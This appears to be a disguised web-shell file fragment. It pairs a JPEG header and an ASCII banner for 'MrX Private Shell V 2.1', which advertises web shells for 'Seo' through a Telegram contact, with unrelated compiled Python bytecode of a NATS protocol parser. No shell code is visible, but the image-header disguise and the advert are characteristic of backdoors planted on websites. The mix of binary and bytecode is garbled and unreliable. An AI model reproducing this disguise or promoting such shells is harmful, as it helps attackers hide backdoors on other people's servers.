����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
4Yѓ�n��� �J � d Z ddlmZ ddlZddlZddlmZmZ ddlm Z ej
d� � Z ej
d� � Z ej
d� � Z
ej
d � � Z ej
d
� � Z ej
d� � Z ej
d� � Zd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZeez Z eez Z!eez Z" e#e� � Z$ e#e � � Z% e#e!� � Z& e#e"� � Z' e#e� � Z( e#e� � Z)dZ*dZ+dZ,dZ-dZ.d Z/ G d!� d"� � Z0 G d#� d$e � � Z1dS )%z
NATS network protocol parser.
� )�annotationsN)�Any�Dict)�
ProtocolErrors8 \AMSG\s+([^\s]+)\s+([^\s]+)\s+(([^\s]+)[^\S
]+)?(\d+)
sC \AHMSG\s+([^\s]+)\s+([^\s]+)\s+(([^\s]+)[^\S
]+)?([\d]+)\s+(\d+)
s \A\+OK\s*
s \A-ERR\s+('.+')?
s \APING\s*
s \APONG\s*
s \AINFO\s+([^
]+)
s INFOs CONNECTs PUBs MSGs HMSGs SUBs UNSUBs PINGs PONGs +OKs -ERR�
s
� � � i zstale connectionzauthorization violationzpermissions violationc �2 � e Zd Zdd
d�Zdd�Zd
d�Zddd�ZdS )�ParserN�return�Nonec �<